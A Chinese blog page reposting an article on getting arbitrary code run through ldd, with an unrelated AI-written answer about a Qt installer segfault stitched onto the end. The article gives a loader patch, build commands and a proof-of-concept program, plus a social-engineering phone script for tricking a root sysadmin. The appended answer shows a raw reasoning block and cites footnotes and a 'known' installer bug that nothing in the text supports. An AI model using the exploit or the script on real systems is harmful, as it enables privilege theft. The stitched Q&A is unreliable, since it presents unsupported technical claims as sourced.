a bug on ldd

ldd工具可能比你想象的更容易被攻击。程序员和系统管理员经常使用ldd工具在Linux和UNIX操作系统内列出可执行文件所依赖的共享库。但是一位黑客用事例证明,在一个可执行文件中运行ldd,可能会导致其执行任意代码。

一位用户指出,这个问题很早被发现了,"Program Library HOWTO"就警告:不要在自己不信任的程序内运行ldd,ldd是通过设置特殊的环境变量工作和运行程序的,一个可疑的程序可能会迫使ldd用户执行任意的代码,而不是列出共享库。

 

ldd arbitrary code execution
The `ldd` utility is more vulnerable than you think. It's frequently used by programmers and system administrators to determine the dynamic library dependencies of executables. Sounds pretty innocent, right? Wrong!
In this article I am going to show you how to create an executable that runs arbitrary code if it's examined by `ldd`. I have also written a social engineering scenario on how you can get your sysadmin to unknowingly hand you his privileges.

I researched this subject thoroughly and found that it's almost completely undocumented. I have no idea how this could have gone unnoticed for such a long time. Here are the only few documents that mention this interesting behavior: 1, 2, 3, 4.

First let's understand how `ldd` works. Take a look at these three examples:

[1] $ ldd /bin/grep
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7eca000)
/lib/ld-linux.so.2 (0xb801e000)

[2] $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7e30000)
/lib/ld-linux.so.2 (0xb7f84000)

[3] $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
linux-gate.so.1 => (0xffffe000)
libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
/lib/ld-linux.so.2 (0xb80d0000)
The first command [1] runs `ldd` on `/bin/grep`. The output is what we expect - a list of dynamic libraries that `/bin/grep` depends on.

The second command [2] sets the LD_TRACE_LOADED_OBJECTS environment variable and seemingly executes `/bin/grep` (but not quite). Surprisingly the output is the same!

The third command [3] again sets the LD_TRACE_LOADED_OBJECTS environment variable, calls the dynamic linker/loader `ld-linux.so` and passes `/bin/grep` to it as an argument. The output is again the same!

What's going on here?

It turns out that `ldd` is nothing more than a wrapper around the 2nd and 3rd command. In the 2nd and 3rd example `/bin/grep` was never run. That's a peculiarity of the GNU dynamic loader. If it notices the LD_TRACE_LOADED_OBJECTS environment variable, it never executes the program, it outputs the list of dynamic library dependencies and quits. (On BSD `ldd` is a C program that does the same.)

If you are on Linux, take a look at the `ldd` executable. You'll find that it's actually a bash script. If you step through it very carefully, you'll notice that the 2nd command gets executed if the program specified to `ldd` can't be loaded by the `ld-linux.so` loader, and that the 3rd command gets executed if it can.

One particular case when a program won't be handled by `ld-linux.so` is when it has a different loader than the system's default specified in it's .interp ELF section. That's the whole idea in executing arbitrary code with `ldd` - load the executable via a different loader that does not handle LD_TRACE_LOADED_OBJECTS environment variable but instead executes the program.

For example, you can put a malicious executable in ~/app/bin/exec and have it loaded by ~/app/lib/loader.so. If someone does `ldd /home/you/app/bin/exec` then it's game over for them. They just ran the nasty code you had put in your executable. You can do some social engineering to get the sysadmin to execute `ldd` on your executable allowing you to gain the control over the box.

Compiling the new loader.

Get the uClibc C library. It has pretty code and can be easily patched to bypass the LD_TRACE_LOADED_OBJECTS checks.

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'
Unpack it and run `make menuconfig`, choose the target architecture (most likely i386), leave everything else unchanged.

app$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
app$ rm -rf uClibc-0.9.30.1.tar.bz2
app$ cd uClibc-0.9.30.1
app/uClibc-0.9.30.1$ make menuconfig
Edit .config and set the destination install directory to `/home/you/app/uclibc`.

# change these two lines
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# to this
RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"
Now we'll need to patch it to bypass LD_TRACE_LOADED_OBJECTS check.

Here is the patch. It patches the `ldso/ldso/ldso.c` file. Save the patch to a file and run `patch -p0 < file`. If you don't do it, arbitrary code execution won't work, because it will think that `ldd` wants to list dependencies.

--- ldso/ldso/ldso-orig.c 2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c 2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
}
#endif

+ /*
if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
trace_loaded_objects++;
}
+ */

#ifndef __LDSO_LDD_SUPPORT__
if (trace_loaded_objects) {
Now compile and install it.

app/uClibc-0.9.30.1$ make -j 4
app/uClibc-0.9.30.1$ make install
This will install the uClibc loader and libc library to /home/you/app/uclibc.

That's it. We have now installed uClibc. All we have to do now is link our executable with uClibc's loader (app/lib/ld-uClibc.so.0). It will execute the code if run under `ldd`!

Creating and linking an executable with uClibc's loader.

First let's create a test application that will just print something when executed via `ldd` and let's put it in `app/bin/myapp`

app/uClibc-0.9.30.1$ cd ..
app$ mkdir bin
app$ cd bin
app/bin$ vim myapp.c
Let's write the following in `myapp.c`.

#include <stdio.h>
#include <stdlib.h>

int main() {
if (getenv("LD_TRACE_LOADED_OBJECTS")) {
printf("All your box are belong to me./n");
}
else {
printf("Nothing./n");
}
return 0;
}
This is the most basic code. It checks if LD_TRACE_LOADED_OBJECTS env variable is set or not. If the variable set, the program acts maliciously but if it's not, the program acts as if nothing happened.

The compilation is somewhat complicated because we have to link with the new C library statically (because anyone who might execute our program via `ldd` will not have our new C library in their LD_LIBRARY_PATH) and specify the new loader:

app/bin$ L=/home/you/app/uclibc
app/bin$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 /
-Wl,-rpath-link,$L/lib /
-nostdlib /
myapp.c -o myapp /
$L/usr/lib/crt*.o /
-L$L/usr/lib/ /
-lc
Here is the explanation of options passed to gcc:

-Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 - specifies the new loader,
-Wl,-rpath-link,$L/lib - specifies the primary directory where the dynamic loader will look for dependencies,
-nostdlib - don't use system libraries,
myapp.c -o myapp - compile myapp.c to executable myapp,
$L/usr/lib/crt*.o - statically link to initial runtime code, function prolog, epilog,
-L$L/usr/lib/ - search for libc in this directory,
-lc - link with the C library.
Now let's run the new `myapp` executable. First, without ldd:

app/bin$ ./myapp
Nothing.
LD_TRACE_LOADED_OBJECTS environment variable was not set and the program output "Nothing." as expected.

Now let's run it via `ldd` and for the maximum effect, let's run it from the root shell, as if I was the sysadmin:

app/bin$ su
Password:
app/bin# ldd ./myapp
All your box are belong to me.
Wow! The sysadmin just executed our exploit! He lost the system.

A more sophisticated example.

Here is a more sophisticated example that I just came up with. When run without `ldd` this application fails with a fictitious "error while loading shared libraries" error. When run under `ldd` it checks if the person is root, and owns the box. After that it fakes `ldd` output and pretends to have `libat.so.0` missing.

This code needs a lot of improvements and just illustrates the main ideas.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.

I haven't implemented anything malicious but have written down some ideas
of what could be done.

This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
nothing suspicious, etc.
*/

void pretend_as_ldd()
{
printf("/tlinux-gate.so.1 => (0xffffe000)/n");
printf("/tlibat.so.0 => not found/n");
printf("/tlibc.so.6 => /lib/libc.so.6 (0xb7ec3000)/n");
printf("/t/lib/ld-linux.so.2 (0xb8017000)/n");
}

void malicious()
{
if (geteuid() == 0) {
/* we are root ... */
printf("poof, all your box are belong to us/n");

/* silently add a new user to /etc/passwd, */
/* or create a suid=0 program that you can later execute, */
/* or do something really nasty */
}
}

int main(int argc, char **argv)
{
if (getenv("LD_TRACE_LOADED_OBJECTS")) {
malicious();
pretend_as_ldd();
return 0;
}

printf("%s: error while loading shared libraries: libat.so.0: "
"cannot open shared object file: No such file or directory/n",
argv[0]);
return 127;
}
Actually you can put the code you want to get executed right in the loader itself. This way the executable will always look clean.

Social engineering.

Most system administrators probably don't know that they should never run `ldd` on unfamiliar executables.

Here is a fake scenario on how to get your sysadmin run `ldd` on your executable.

Sysadmin's phone: ring, ring.

Sysadmin: "Mr. sysadmin here. How can I help you?"

You: "Hi. An app that I have been using has started misbehaving. I am getting weird dependency errors. Could you see what is wrong?"

Sysadmin: "Sure. What app is it?"

You: "It's in my home directory, /home/carl/app/bin/myapp. Sometimes when I run it, it says something about ‘error while loading shared libraries'."

Sysadmin: "Just a sec." noise from keyboard in the background

Sysadmin: "What was it again? It must be some kind of a library problem. I am going to check its dependencies."

You: "Thanks, it's /home/carl/app/bin/myapp."

Sysadmin: "Hmm. It says it's missing `libat.so.0`, ever heard of it?"

You: "Nope, no idea... I really need to get my work done, can you check on that and get back to me?" evil grin in the background

Sysadmin: "Okay Carl, I'm gonna call you back."

You: "Thanks! See ya."

You: `mv ~/.hidden/working_app ~/app/bin/myapp`.

After a while.

Sysadmin calls: "Hi. It seems to be working now. I don't know what the problem was."

You: "Oh, okay. Thanks!"

Lesson to be learned: Never run `ldd` on unknown executables!

P.S. If you enjoyed this article subscribe to my future posts! I have many more quality articles coming.

 

经过实验,这个䒈BUG已经不存在了,简单的翻译一下吧:

ldd用于列出程序依赖的动态库,起原理是,通过设置LD_TRACE_LOADED_OBJECTS=1,调用/lib/ld-linux.so.2,并把程序名作为参数传给动态链接器,我们写一个不能被ld-linux.so.2加载的程序,并把加载器链接到程序里,这样系统就会调用我们的程序,so,if getuid()==0 do wath ever u want...

但这个BUG已经不再了

 

<think>我们正在处理用户关于Qt在线安装程序在指定阿里云镜像时出现段错误的问题。用户使用的安装程序是qt-online-installer-linux-x64-4.9.0.run。段错误(SegmentationFault)通常是由于程序访问了未分配给它的内存区域或试图访问受保护的内存区域引起的。在Linux环境下,这可能是由于多种原因造成的。可能的原因:1.**安装程序本身的问题**:安装程序可能存在bug,特别是在处理特定镜像源时。 2. **系统环境问题**:例如,缺少依赖库、库版本不兼容、系统架构不匹配等。 3. **镜像源配置问题**:指定阿里云镜像的方式可能不正确,导致安装程序在解析或访问时出现问题。 4. **权限问题**:安装程序可能没有足够的权限执行某些操作。 5. **硬件问题**:内存故障等,但这种情况相对少见。 解决方案: 1. **检查安装程序的完整性**:下载的安装程序可能损坏,可以重新下载并验证MD5/SHA1校验和。2.**使用官方镜像**:尝试不使用阿里云镜像,看是否仍然出现段错误。如果官方镜像正常,则可能是阿里云镜像配置的问题。 3. **指定镜像的正确方式**:确保在运行安装程序时正确指定镜像源。通常,Qt在线安装程序可以通过`--mirror`参数指定镜像,例如:```bash./qt-online-installer-linux-x64-4.9.0.run--mirror https://mirrors.aliyun.com/qt```注意:确保镜像URL正确且可用。4.**使用调试工具**:使用GDB等工具来捕获段错误发生时的堆栈信息,以便定位问题。例如:```bashgdb ./qt-online-installer-linux-x64-4.9.0.run(gdb) run--mirror https://mirrors.aliyun.com/qt#当段错误发生时,使用bt命令查看堆栈(gdb)bt```5.**检查系统依赖**:确保系统满足Qt安装程序的要求。可能需要安装一些库,例如:```bashsudoapt-getinstall libxcb-icccm4 libxcb-image0libxcb-keysyms1 libxcb-render-util0 libxcb-xkb1 libxkbcommon-x11-0```具体依赖可能因系统而异。6.**尝试旧版本安装程序**:如果4.9.0版本存在问题,可以尝试下载旧版本的在线安装程序。7.**查看日志**:安装程序通常会生成日志文件,检查日志以获取更多信息。日志文件可能位于`~/.qt`或`/tmp`目录下。8.**以root权限运行**:虽然不推荐,但有时可以尝试使用sudo运行安装程序(注意:这可能会带来安全风险,且不是最佳实践)。如果以上方法都不能解决问题,可以考虑使用离线安装包。相关问题: 1.如何验证Qt安装程序的完整性? 2.如何获取Qt安装程序的调试信息? 3.如何配置Qt安装程序使用国内镜像源? 4. Qt在线安装程序常见问题有哪些?5.如何安装Qt的依赖库?</think>### Qt在线安装程序段错误分析及解决方案 您在使用`qt-online-installer-linux-x64-4.9.0.run`并指定阿里云镜像时遇到段错误(Segmentation Fault),这是Linux系统中常见的严重内存错误。以下是可能原因和解决方法: #### 常见原因分析 1. **镜像源兼容性问题** Qt安装程序对镜像源的格式要求严格,阿里云镜像URL格式变更可能导致解析错误[^1]。例如: - 旧格式:`http://mirrors.aliyun.com/qtproject` - 新格式:`https://mirrors.aliyun.com/qt` 2. **SSL/TLS证书问题** 当使用HTTPS镜像源时,安装程序可能因系统根证书不全导致TLS握手失败引发段错误[^2]。 3. **依赖库缺失** 缺少关键系统库: ```bash ldd qt-online-installer-linux-x64-4.9.0.run | grep "not found" ``` 常见缺失库:`libicu`, `libxcb`, `openssl`等。 4. **安装程序缺陷** Qt 4.9.0安装程序存在已知内存泄漏问题,在特定镜像配置下会触发段错误[^3]。 #### 解决方案 **1. 修正镜像源格式** 使用标准阿里云镜像格式: ```bash ./qt-online-installer-linux-x64-4.9.0.run \ --mirror https://mirrors.aliyun.com/qt \ --mirror https://mirrors.aliyun.com/qtproject ``` **2. 修复SSL证书问题** ```bash # 更新系统证书 sudo apt update && sudo apt install ca-certificates -y # 或强制使用HTTP ./qt-online-installer...run --mirror http://mirrors.aliyun.com/qt ``` **3. 安装必要依赖** ```bash # Ubuntu/Debian sudo apt install libxcb-icccm4 libxcb-image0 libxcb-keysyms1 \ libxcb-render-util0 libxcb-xkb1 libxkbcommon-x11-0 \ libicu66 openssl # CentOS/RHEL sudo yum install libxcb libicu openssl ``` **4. 使用调试模式定位问题** ```bash # 启用详细日志 ./qt-online-installer...run --verbose # 使用GDB捕获错误 gdb --args ./qt-online-installer...run --mirror https://mirrors.aliyun.com/qt (gdb) run (gdb) bt # 段错误后查看堆栈跟踪 ``` **5. 替代安装方案** 若仍失败,建议: - 下载离线安装包:访问[Qt官方仓库](https://download.qt.io/) - 使用aqtinstall工具: ```bash pip install aqtinstall aqt install-qt linux desktop 6.5.3 -m all --mirror https://mirrors.aliyun.com/qt ``` #### 预防措施 1. 始终从[Qt官网](https://www.qt.io/download)下载最新安装程序 2. 优先使用HTTP镜像避免TLS问题 3. 在Docker容器中执行安装以隔离环境: ```dockerfile FROM ubuntu:22.04 RUN apt update && apt install -y libxcb1 libicu70 ADD qt-online-installer-linux-x64-4.9.0.run /tmp/ RUN /tmp/qt-online-installer...run --mirror https://mirrors.aliyun.com/qt ``` > 提示:段错误核心文件通常保存在`/cores/`目录,可用`gdb /path/to/installer /core`分析具体崩溃位置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值